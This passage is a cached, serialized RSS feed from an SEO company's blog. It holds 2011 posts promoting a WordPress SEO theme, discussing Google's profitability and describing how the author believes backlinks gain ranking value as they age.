different – there simply isn’t anything like it as a WordPress framework (more on that later) and this is not to knock the competition.&lt;/p&gt;\n&lt;p&gt;Stay tuned for videos, strategies and more from our upcoming product launch (which will change the way you think about SEO Themes for WordPress once and for all).&lt;/p&gt;\n&lt;p&gt;The countdown for the launch is scheduled for  1-2-2012&lt;/p&gt;\n&lt;p&gt;Until the next post&amp;#8230;&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=STqwpedf5Qs:V5hlwUELoik:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/STqwpedf5Qs\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:335:\&quot;After one year of toiling away in the labs, we are preparing for the launch of The WP Ultimate Theme (a powerful, flexible and dynamic premium SEO framework for WordPress) designed to work in tandem with SEO Ultimate (our WordPress SEO plugin). Our objective is simple, to provide users with fine-grained control over multiple on [...]\&quot;;s:5:\&quot;slash\&quot;;a:1:{s:8:\&quot;comments\&quot;;s:2:\&quot;20\&quot;;}s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:111:\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/coming-soon-the-wp-ultimate-theme-framework-for-wordpress/\&quot;;}s:7:\&quot;summary\&quot;;s:335:\&quot;After one year of toiling away in the labs, we are preparing for the launch of The WP Ultimate Theme (a powerful, flexible and dynamic premium SEO framework for WordPress) designed to work in tandem with SEO Ultimate (our WordPress SEO plugin). Our objective is simple, to provide users with fine-grained control over multiple on [...]\&quot;;s:12:\&quot;atom_content\&quot;;s:2579:\&quot;&lt;p&gt;After one year of toiling away in the labs, we are preparing for the launch of &lt;strong&gt;The WP Ultimate Theme&lt;/strong&gt; (a powerful, flexible and dynamic premium SEO framework for WordPress) designed to work in tandem with &lt;a href=\&quot;http://wordpress.org/extend/plugins/seo-ultimate/\&quot;&gt;SEO Ultimate&lt;/a&gt; (our WordPress SEO plugin).&lt;/p&gt;\n&lt;div id=\&quot;attachment_9060\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 510px\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/coming-soon-the-wp-ultimate-theme-framework-for-wordpress/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9060\&quot; title=\&quot;sneak-peak\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2011/12/sneak-peak.jpg\&quot; alt=\&quot;\&quot; width=\&quot;500\&quot; height=\&quot;185\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;The WP Ultimate Theme: So Powerful, It Should Have Its Own Cape!&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;Our objective is simple, to provide users with fine-grained control over multiple on page settings (&lt;em&gt;such as nearly instantaneous site architecture injection, custom navigation options, multiple layout and theme choices, breadcrumbs, internal links, widgets, typography controls and more&lt;/em&gt;) for the optimal WordPress SEO framework.&lt;/p&gt;\n&lt;p&gt;Rather than spill the beans now, I will be posting sneak previews of the features as well as preparing some unique use-case examples of how to leverage the power of WP and SEO Ultimate in tandem.&lt;/p&gt;\n&lt;p&gt;If you know us by now, you know that &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/\&quot;&gt;SEO Design Solutions&lt;/a&gt; is not about shallow or flimsy SEO tactics or tools; everything we do is cutting-edge and is founded on years of battle tested tactics that dominate search engines and produce real-world results by their very design.&lt;/p&gt;\n&lt;p&gt;WP Ultimate is no different – there simply isn’t anything like it as a WordPress framework (more on that later) and this is not to knock the competition.&lt;/p&gt;\n&lt;p&gt;Stay tuned for videos, strategies and more from our upcoming product launch (which will change the way you think about SEO Themes for WordPress once and for all).&lt;/p&gt;\n&lt;p&gt;The countdown for the launch is scheduled for  1-2-2012&lt;/p&gt;\n&lt;p&gt;Until the next post&amp;#8230;&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=STqwpedf5Qs:V5hlwUELoik:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/STqwpedf5Qs\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}i:22;a:12:{s:5:\&quot;title\&quot;;s:38:\&quot;Infographic: How Profitable is Google?\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/lnqR9zzYCuE/\&quot;;s:8:\&quot;category\&quot;;s:119:\&quot;Web ResourcesGoogle InfographicHow Much Does Google MakeHow Much Google Benefits from SearchHow Profitable is GoogleSEO\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Mon, 28 Nov 2011 16:23:45 PST\&quot;;s:4:\&quot;guid\&quot;;s:46:\&quot;http://www.seodesignsolutions.com/blog/?p=9051\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:3140:\&quot;&lt;p&gt;Here are a few tantalizing tidbits of trivia for visual types who enjoy contrast and comparison courtesy of &lt;a href=\&quot;http://www.businessmba.org/google-facts/\&quot;&gt;BusinessMba.org&lt;/a&gt; called Google: Behind the Numbers.&lt;/p&gt;\n&lt;p&gt;Aside from the glaring monetization prowess of &lt;strong&gt;&amp;#8220;The Digital Juggernaut&amp;#8221;&lt;/strong&gt; known as Google, just remember &lt;strong&gt;&amp;#8220;your clicks equate to revenue&amp;#8221;.&lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;Let&amp;#8217;s take a peek &lt;em&gt;behind the numbers&lt;/em&gt; from Google&amp;#8217;s 2010 profits to answer any questions about how profitable search as a viable business model is.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://www.businessmba.org/google-facts/\&quot;&gt;&lt;img src=\&quot;http://www.businessmba.org/google-facts/google-numbers.jpg\&quot; border=\&quot;0\&quot; alt=\&quot;Google Behind The Numbers\&quot; width=\&quot;500\&quot; /&gt;&lt;/a&gt;&lt;br /&gt;\nFrom: &lt;a href=\&quot;http://www.businessmba.org\&quot;&gt;BusinessMBA.org&lt;/a&gt;&lt;span id=\&quot;more-9051\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;h3&gt;From Humble Beginnings to Market Dominance&lt;/h3&gt;\n&lt;p&gt;Who would have thought that two college students (Sergey Brin and Larry Page) attending &lt;a href=\&quot;http://www.stanford.edu\&quot;&gt;Stanford University&lt;/a&gt; 14 years ago would create a content-devouring search engine that &lt;strong&gt;re-purposes crawled content&lt;/strong&gt; (yours and mine) and then makes (others) &lt;em&gt;competitors or yourself&lt;/em&gt; bid on related keywords using display / pay per click (PPC) advertising or SEO in the interests of &lt;strong&gt;&lt;span style=\&quot;text-decoration: line-through;\&quot;&gt;commercial intent &lt;/span&gt;&lt;/strong&gt; / &lt;strong&gt;&amp;#8220;relevance&amp;#8221;&lt;/strong&gt; would grow to such epic proportions.&lt;/p&gt;\n&lt;h3&gt;Fact: “88% of online search dollars are spent on paid results, even though 85%  of searchers click on organic results”&lt;/h3&gt;\n&lt;p&gt;- Vanessa Fox, “Marketing in the  Age of Google”, May 3, 2010.&lt;/p&gt;\n&lt;p&gt;In closing, I believe Google is one of the most brilliant and profitable websites (that wrapped an empire around itself) ever created. But the double edge sword is, Google also has &lt;em&gt;their own agenda!&lt;/em&gt;&lt;/p&gt;\n&lt;p&gt;At the end of the day&lt;strong&gt;,&lt;/strong&gt; &lt;strong&gt;what will they do with their power and wealth to make the world a better place?&lt;br /&gt;\n&lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;With power comes responsibility and while Google has an 80% stake in search / market share, perhaps Google could think less about &lt;strong&gt;&amp;#8220;making others conform to their terms of service&amp;#8221;&lt;/strong&gt; or &lt;strong&gt;&amp;#8220;penalizing them&amp;#8221;&lt;/strong&gt; if they fail to comply and more about giving back to those whose content they are overtly &lt;strong&gt;&amp;#8220;borrowing&amp;#8221;&lt;/strong&gt; and leveraging for the sake of profit.&lt;/p&gt;\n&lt;p&gt;And a profitable market it is indeed, as we can see above&amp;#8230; Share your thoughts below or pass this along to others if you enjoyed it.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=lnqR9zzYCuE:K3k_sSnM6Yo:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/lnqR9zzYCuE\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:400:\&quot;Here are a few tantalizing tidbits of trivia for visual types who enjoy contrast and comparison courtesy of BusinessMba.org called Google: Behind the Numbers. Aside from the glaring monetization prowess of &amp;#8220;The Digital Juggernaut&amp;#8221; known as Google, just remember &amp;#8220;your clicks equate to revenue&amp;#8221;. Let&amp;#8217;s take a peek behind the numbers from Google&amp;#8217;s 2010 profits [...]\&quot;;s:5:\&quot;slash\&quot;;a:1:{s:8:\&quot;comments\&quot;;s:1:\&quot;6\&quot;;}s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:90:\&quot;http://www.seodesignsolutions.com/blog/web-resources/infographic-how-profitable-is-google/\&quot;;}s:7:\&quot;summary\&quot;;s:400:\&quot;Here are a few tantalizing tidbits of trivia for visual types who enjoy contrast and comparison courtesy of BusinessMba.org called Google: Behind the Numbers. Aside from the glaring monetization prowess of &amp;#8220;The Digital Juggernaut&amp;#8221; known as Google, just remember &amp;#8220;your clicks equate to revenue&amp;#8221;. Let&amp;#8217;s take a peek behind the numbers from Google&amp;#8217;s 2010 profits [...]\&quot;;s:12:\&quot;atom_content\&quot;;s:3140:\&quot;&lt;p&gt;Here are a few tantalizing tidbits of trivia for visual types who enjoy contrast and comparison courtesy of &lt;a href=\&quot;http://www.businessmba.org/google-facts/\&quot;&gt;BusinessMba.org&lt;/a&gt; called Google: Behind the Numbers.&lt;/p&gt;\n&lt;p&gt;Aside from the glaring monetization prowess of &lt;strong&gt;&amp;#8220;The Digital Juggernaut&amp;#8221;&lt;/strong&gt; known as Google, just remember &lt;strong&gt;&amp;#8220;your clicks equate to revenue&amp;#8221;.&lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;Let&amp;#8217;s take a peek &lt;em&gt;behind the numbers&lt;/em&gt; from Google&amp;#8217;s 2010 profits to answer any questions about how profitable search as a viable business model is.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://www.businessmba.org/google-facts/\&quot;&gt;&lt;img src=\&quot;http://www.businessmba.org/google-facts/google-numbers.jpg\&quot; border=\&quot;0\&quot; alt=\&quot;Google Behind The Numbers\&quot; width=\&quot;500\&quot; /&gt;&lt;/a&gt;&lt;br /&gt;\nFrom: &lt;a href=\&quot;http://www.businessmba.org\&quot;&gt;BusinessMBA.org&lt;/a&gt;&lt;span id=\&quot;more-9051\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;h3&gt;From Humble Beginnings to Market Dominance&lt;/h3&gt;\n&lt;p&gt;Who would have thought that two college students (Sergey Brin and Larry Page) attending &lt;a href=\&quot;http://www.stanford.edu\&quot;&gt;Stanford University&lt;/a&gt; 14 years ago would create a content-devouring search engine that &lt;strong&gt;re-purposes crawled content&lt;/strong&gt; (yours and mine) and then makes (others) &lt;em&gt;competitors or yourself&lt;/em&gt; bid on related keywords using display / pay per click (PPC) advertising or SEO in the interests of &lt;strong&gt;&lt;span style=\&quot;text-decoration: line-through;\&quot;&gt;commercial intent &lt;/span&gt;&lt;/strong&gt; / &lt;strong&gt;&amp;#8220;relevance&amp;#8221;&lt;/strong&gt; would grow to such epic proportions.&lt;/p&gt;\n&lt;h3&gt;Fact: “88% of online search dollars are spent on paid results, even though 85%  of searchers click on organic results”&lt;/h3&gt;\n&lt;p&gt;- Vanessa Fox, “Marketing in the  Age of Google”, May 3, 2010.&lt;/p&gt;\n&lt;p&gt;In closing, I believe Google is one of the most brilliant and profitable websites (that wrapped an empire around itself) ever created. But the double edge sword is, Google also has &lt;em&gt;their own agenda!&lt;/em&gt;&lt;/p&gt;\n&lt;p&gt;At the end of the day&lt;strong&gt;,&lt;/strong&gt; &lt;strong&gt;what will they do with their power and wealth to make the world a better place?&lt;br /&gt;\n&lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;With power comes responsibility and while Google has an 80% stake in search / market share, perhaps Google could think less about &lt;strong&gt;&amp;#8220;making others conform to their terms of service&amp;#8221;&lt;/strong&gt; or &lt;strong&gt;&amp;#8220;penalizing them&amp;#8221;&lt;/strong&gt; if they fail to comply and more about giving back to those whose content they are overtly &lt;strong&gt;&amp;#8220;borrowing&amp;#8221;&lt;/strong&gt; and leveraging for the sake of profit.&lt;/p&gt;\n&lt;p&gt;And a profitable market it is indeed, as we can see above&amp;#8230; Share your thoughts below or pass this along to others if you enjoyed it.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=lnqR9zzYCuE:K3k_sSnM6Yo:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/lnqR9zzYCuE\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}i:23;a:12:{s:5:\&quot;title\&quot;;s:37:\&quot;Where Is The SEO Backlink Sweet Spot?\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/EayqR2C4Nqk/\&quot;;s:8:\&quot;category\&quot;;s:55:\&quot;SEOBacklink Tipping Pointlink-velocitySEO Tipping Point\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Sun, 27 Nov 2011 09:00:39 PST\&quot;;s:4:\&quot;guid\&quot;;s:46:\&quot;http://www.seodesignsolutions.com/blog/?p=9036\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:8167:\&quot;&lt;p&gt;Is there such a thing in SEO as the off-page inbound link sweet spot? Meaning, finding the tipping-point for inbound links per URL, per keyword…&lt;/p&gt;\n&lt;div id=\&quot;attachment_9035\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 434px\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/where-is-the-seo-backlink-sweet-spot/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9035\&quot; title=\&quot;finding-sweet-spot\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2011/11/finding-sweet-spot.jpg\&quot; alt=\&quot;\&quot; width=\&quot;424\&quot; height=\&quot;283\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Where is the SEO Backlink Tipping Point?&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;Based on our heuristic testing, absolutely!  Just like wine, links get stronger with age – if they are supported by (a) sufficient &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-resources/why-internal-links-are-more-important-than-backlinks/\&quot;&gt;internal links&lt;/a&gt; within the site linking out or (b) have &lt;strong&gt;deep links from other websites augmenting them&lt;/strong&gt;.&lt;/p&gt;\n&lt;p&gt;If properly augmented, then those pages become &lt;strong&gt;hub pages&lt;/strong&gt; (pages with trust and ranking factor) which can rank additional spokes (pages) on the wheel via links.&lt;span id=\&quot;more-9036\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;Internal page augmentation can be as simple as using an &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-resources/seo-rss-and-the-power-of-syndication/\&quot;&gt;RSS feed&lt;/a&gt;, syndicating a page and providing a link back to the published page.&lt;/p&gt;\n&lt;p&gt;Do this with 5 RSS aggregators and you could get 5 backlinks for every page or post you create. Do this with hundreds of RSS aggregators or syndication sources and you can get hundreds of links per day (just from adding one page of content).&lt;/p&gt;\n&lt;p&gt;This method is easy to implement with WordPress (if you have a content development strategy in place) to drip fresh content.&lt;/p&gt;\n&lt;p&gt;Each new page or post published represents another opportunity to leverage and syndicate that content (to build links back to the original page) which can eventually sprout PageRank and pass ranking factor to your &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/seo-landing-pages/\&quot;&gt;preferred landing pages&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;Those &lt;em&gt;link-rich&lt;/em&gt; hub pages also double as places to build solid &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-videos/seo-video-how-to-properly-silo-your-website/\&quot;&gt;secondary navigation&lt;/a&gt; or internal links to your commercial landing pages or other hub pages in your website to enhance search engine positioning.&lt;/p&gt;\n&lt;h3&gt;Link Signals&lt;/h3&gt;\n&lt;p&gt;One often overlooked aspect of search engine optimization is that search engines are programmed to suppress &lt;strong&gt;new link signals&lt;/strong&gt; (for passing ranking factor) until they pass a certain criteria of trust.&lt;/p&gt;\n&lt;p&gt;The link/trust threshold  is &lt;strong&gt;the secret sauce&lt;/strong&gt; known only by a select group of developers from Google, Yahoo and Bing. The prime directive of this filter to keep their search engine indices less polluted (from aggressive link building tactics).&lt;/p&gt;\n&lt;p&gt;The good news is, if you are building links properly, you can get past this filter by layering permanent one way links strategically over time.&lt;/p&gt;\n&lt;p&gt;I have witnessed:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt; the &lt;em&gt;first phase&lt;/em&gt; at approximately &lt;strong&gt;10-14 days&lt;/strong&gt; (to sprout a ranking from inbound links)&lt;/li&gt;\n&lt;li&gt;the &lt;em&gt;second phase&lt;/em&gt; of a the link /trust cycle is estimated at &lt;strong&gt;40-45 days&lt;/strong&gt;&lt;/li&gt;\n&lt;li&gt;the &lt;em&gt;third phase&lt;/em&gt; in the link-flow cycle typically occurs in the &lt;strong&gt;90-120 day&lt;/strong&gt; range and&lt;/li&gt;\n&lt;li&gt;the &lt;em&gt;fourth&lt;/em&gt; &lt;em&gt;phase&lt;/em&gt; occurs &lt;strong&gt;after 6-8 months&lt;/strong&gt; &amp;#8211; and continues to pass more value as time progresses.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;After the 8 month threshold, a backlink is stable and well on it&amp;#8217;s way to gaining trust and passing along its total link flow to the target site. This suggests that as links age, they pass more ranking factor.&lt;/p&gt;\n&lt;p&gt;The three primary factors that impact this algorithm are  (1) the &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/with-seo-time-and-authority-are-on-your-side/\&quot;&gt;age/time of the link&lt;/a&gt; and (2) the &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/search-engine-optimization/seo-rankings-trust-and-relevance-signals/\&quot;&gt;relevancy of the link&lt;/a&gt; and (3) page strength as determined by the number of inbound / outbound links on the page providing the link.&lt;/p&gt;\n&lt;p&gt;As an aspect of &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/link-building/finding-the-right-link-velocity-to-complement-seo/\&quot;&gt;link velocity&lt;/a&gt;, the rate in which you gain and / or lose inbound links impacts a website, but also, the age (as mentioned above) dramatically impacts ranking.&lt;/p&gt;\n&lt;p&gt;We can speculate the reason for this, but rather than look at the nuts and bolts of the algo, simply think like a developer and put yourself in the shoes of the programmers crafting the coding symphony known as Google’s search algorithm.&lt;/p&gt;\n&lt;p&gt;How would you keep new links from being disruptive (if automated or otherwise) if they passed 100% ranking factor out of the gate? This would be an open invitation for automation (which could easily skew search engine result page results) from a barrage or spike of links.&lt;/p&gt;\n&lt;h3&gt;Factoring The Link Grandfather Effect&lt;/h3&gt;\n&lt;p&gt;The answer to this quandary, merely think of it as an algorithmic &lt;strong&gt;link-throttle &lt;/strong&gt;that essentially limits how much link-juice links produce based on specific thresholds.&lt;/p&gt;\n&lt;p&gt;Put simply, as links age, they pass more trust, trust translates into (a) PageRank (b) link-flow which in turn pass ranking factor along the link graph to the target page (which eventually becomes more buoyant (until it collides with the next page above it who has more relevance score) and then subsides in the search engine result pages.&lt;/p&gt;\n&lt;p&gt;Aside from the off page inbound links, their age and relevancy,  typically on page factors or the degree of your on page efficiency determines how many off page inbound links are required to cross the tipping point.&lt;/p&gt;\n&lt;p&gt;Each website varies based on the competition in the marketplace, the on site architecture, the volume and integrity of the internal links, the age of the site, how each page is fed in the hierarchy and &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-consulting/which-links-pass-the-most-weight-in-search-engines/\&quot;&gt;how many shingles&lt;/a&gt; (supporting keyword occurrences) or internal links based on &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/how-semantic-connectivity-affects-seo/\&quot;&gt;semantic overlap&lt;/a&gt; are present.&lt;/p&gt;\n&lt;p&gt;So, if you understand that it’s not always backlinks that push rankings higher, it’s capping link-loss and trust from the pre-existing inbound links or strong internal pages getting more link-flow and pushing it to the appropriate silo (preferred landing page) of the semantic theme that make this a powerful &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/search-engine-optimization-myths/on-page-off-page-seo/\&quot;&gt;on page and off page SEO&lt;/a&gt; combination.&lt;/p&gt;\n&lt;p&gt;One quick way to give your rankings a boost is (a) build links to your links or (b) go back to published URL’s and syndicate them across multiple feeds (to get more page level citation) which in turn translates into buoyant rankings.&lt;/p&gt;\n&lt;p&gt;The takeaway here is (1) use &lt;strong&gt;content syndication&lt;/strong&gt; and aggregators to steadily build a stream of inbound deep links to internal pages and (2) use the collective &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/link-building/understanding-link-prominence-volume-velocity-flow-and-distribution/\&quot;&gt;link-weight&lt;/a&gt; they produce to rank &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/seo-tips-for-theming-and-siloing/\&quot;&gt;multiple semantic themes&lt;/a&gt; within your website.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=EayqR2C4Nqk:FT7sH1odXB0:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/EayqR2C4Nqk\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:332:\&quot;Is there such a thing in SEO as the off-page inbound link sweet spot? Meaning, finding the tipping-point for inbound links per URL, per keyword… Based on our heuristic testing, absolutely!  Just like wine, links get stronger with age – if they are supported by (a) sufficient internal links within the site linking out or [...]\&quot;;s:5:\&quot;slash\&quot;;a:1:{s:8:\&quot;comments\&quot;;s:1:\&quot;5\&quot;;}s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:80:\&quot;http://www.seodesignsolutions.com/blog/seo/where-is-the-seo-backlink-sweet-spot/\&quot;;}s:7:\&quot;summary\&quot;;s:332:\&quot;Is there such a thing in SEO as the off-page inbound link sweet spot? Meaning, finding the tipping-point for inbound links per URL, per keyword… Based on our heuristic testing, absolutely!  Just like wine, links get stronger with age – if they are supported by (a) sufficient internal links within the site linking out or [...]\&quot;;s:12:\&quot;atom_content\&quot;;s:8167:\&quot;&lt;p&gt;Is there such a thing in SEO as the off-page inbound link sweet spot? Meaning, finding the tipping-point for inbound links per URL, per keyword…&lt;/p&gt;\n&lt;div id=\&quot;attachment_9035\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 434px\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/where-is-the-seo-backlink-sweet-spot/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9035\&quot; title=\&quot;finding-sweet-spot\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2011/11/finding-sweet-spot.jpg\&quot; alt=\&quot;\&quot; width=\&quot;424\&quot; height=\&quot;283\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Where is the SEO Backlink Tipping Point?&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;Based on our heuristic testing, absolutely!  Just like wine, links get stronger with age – if they are supported by (a) sufficient &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-resources/why-internal-links-are-more-important-than-backlinks/\&quot;&gt;internal links&lt;/a&gt; within the site linking out or (b) have &lt;strong&gt;deep links from other websites augmenting them&lt;/strong&gt;.&lt;/p&gt;\n&lt;p&gt;If properly augmented, then those pages become &lt;strong&gt;hub pages&lt;/strong&gt; (pages with trust and ranking factor) which can rank additional spokes (pages) on the wheel via links.&lt;span id=\&quot;more-9036\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;Internal page augmentation can be as simple as using an &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-resources/seo-rss-and-the-power-of-syndication/\&quot;&gt;RSS feed&lt;/a&gt;, syndicating a page and providing a link back to the published page.&lt;/p&gt;\n&lt;p&gt;Do this with 5 RSS aggregators and you could get 5 backlinks for every page or post you create. Do this with hundreds of RSS aggregators or syndication sources and you can get hundreds of links per day (just from adding one page of content).&lt;/p&gt;\n&lt;p&gt;This method is easy to implement with WordPress (if you have a content development strategy in place) to drip fresh content.&lt;/p&gt;\n&lt;p&gt;Each new page or post published represents another opportunity to leverage and syndicate that content (to build links back to the original page) which can eventually sprout PageRank and pass ranking factor to your &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo/seo-landing-pages/\&quot;&gt;preferred landing pages&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;Those &lt;em&gt;link-rich&lt;/em&gt; hub pages also double as places to build solid &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-videos/seo-video-how-to-properly-silo-your-website/\&quot;&gt;secondary navigation&lt;/a&gt; or internal links to your commercial landing pages or other hub pages in your website to enhance search engine positioning.&lt;/p&gt;\n&lt;h3&gt;Link Signals&lt;/h3&gt;\n&lt;p&gt;One often overlooked aspect of search engine optimization is that search engines are programmed to suppress &lt;strong&gt;new link signals&lt;/strong&gt; (for passing ranking factor) until they pass a certain criteria of trust.&lt;/p&gt;\n&lt;p&gt;The link/trust threshold  is &lt;strong&gt;the secret sauce&lt;/strong&gt; known only by a select group of developers from Google, Yahoo and Bing. The prime directive of this filter to keep their search engine indices less polluted (from aggressive link building tactics).&lt;/p&gt;\n&lt;p&gt;The good news is, if you are building links properly, you can get past this filter by layering permanent one way links strategically over time.&lt;/p&gt;\n&lt;p&gt;I have witnessed:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt; the &lt;em&gt;first phase&lt;/em&gt; at approximately &lt;strong&gt;10-14 days&lt;/strong&gt; (to sprout a ranking from inbound links)&lt;/li&gt;\n&lt;li&gt;the &lt;em&gt;second phase&lt;/em&gt; of a the link /trust cycle is estimated at &lt;strong&gt;40-45 days&lt;/strong&gt;&lt;/li&gt;\n&lt;li&gt;the &lt;em&gt;third phase&lt;/em&gt; in the link-flow cycle typically occurs in the &lt;strong&gt;90-120 day&lt;/strong&gt; range and&lt;/li&gt;\n&lt;li&gt;the &lt;em&gt;fourth&lt;/em&gt; 